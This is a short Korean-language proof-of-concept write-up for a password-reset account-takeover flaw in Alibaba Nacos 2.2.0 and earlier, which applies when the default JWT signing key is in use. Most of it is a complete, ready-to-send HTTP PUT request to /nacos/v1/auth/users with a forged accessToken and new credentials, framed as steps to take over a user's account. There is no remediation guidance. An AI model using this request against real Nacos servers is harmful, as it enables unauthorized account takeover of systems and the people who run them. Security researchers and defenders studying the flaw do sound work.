Alibab-Nacos-Unauthorized-Reset PWD
Nacos <= 2.2.0에 영향을 미치는 문제가 Nacos에서 발견되었습니다. 사용자가 기본 JWT Key를 사용할 경우, 공격자가 임의 사용자의 비밀번호를 재설정하고 해당 사용자 계정을 탈취할 수 있습니다.
Nacos <= 2.2.0 버전
1단계: 사용자 이름 획득 (기존 취약점을 이용하거나 추측)
2단계: 비밀번호 재설정
PUT /nacos/v1/auth/users HTTP/1.1
Host: xx.xx.xxx.xx
Content-Length: 33
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhbDFleCIsImV4cCI6MTY2ODA4OTk2N30.hv0MWlHISYCgvIDQhidQBCeyYb7tbG0JrbNyx-9kDzc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=
Connection: close
username=al1ex&newPassword=al22ex
3단계: 성공적으로 로그인
